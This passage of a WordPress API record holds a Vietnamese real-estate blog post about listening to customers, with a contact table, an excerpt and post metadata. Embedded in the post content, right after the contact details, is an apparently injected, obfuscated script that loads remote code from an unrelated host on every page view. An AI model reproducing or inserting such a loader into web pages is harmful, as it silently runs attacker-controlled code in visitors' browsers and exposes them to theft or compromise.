Ph\u00fa Qu\u1ed1c, Sun Grand City Feria H\u1ea1 Long, Sunshine Crystal River, Sun Onsen Village Limited Edition, Sun Grand City Hillside Residence, Vegacity Nha Trang&#8230;<br>Website:\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/reti.vn\/<\/a><br>Fanpage:\u00a0<a class=\"rank-math-link\" rel=\"noreferrer noopener\" href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\">https:\/\/www.facebook.com\/retiproptech<\/a><br>Hotline: 098 712 6898<br>Email: support@reti.vn<\/td><\/tr><\/tbody><\/table><\/figure>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>L\u1eafng nghe kh\u00e1ch h\u00e0ng kh\u00f4ng ph\u1ea3i ch\u1ec9 l\u00e0 nh\u1ea5c \u0111i\u1ec7n tho\u1ea1i v\u00e0 tr\u1ea3 l\u1eddi kh\u00e1ch h\u00e0ng \u1edf b\u00e0n d\u1ecbch v\u1ee5. H\u01a1n th\u1ebf, \u0111\u00e2y l\u00e0 c\u00e1ch b\u1ea1n k\u1ebft n\u1ed1i v\u1edbi h\u1ecd, ch\u00fa \u00fd \u0111\u1ebfn nhu c\u1ea7u, k\u1ef3 v\u1ecdng v\u00e0 hi\u1ec3u v\u1ea5n \u0111\u1ec1 \u0111\u1ec3 gi\u00fap kh\u00e1ch h\u00e0ng \u0111\u01b0\u1ee3c nh\u01b0 mong mu\u1ed1n. Tr\u00ean th\u1ef1c t\u1ebf, nh\u1eefng h\u00e0nh \u0111\u1ed9ng [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":32460,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[307],"tags":[],"class_list":["post-32403","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-meo-nho-bat-dong-san"],"external_url":"","amp_enabled":true,"featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/lang-nghe-khach-hang-6.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/32403","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=32403"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/32403\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/32460"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=32403"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=32403"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=32403"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}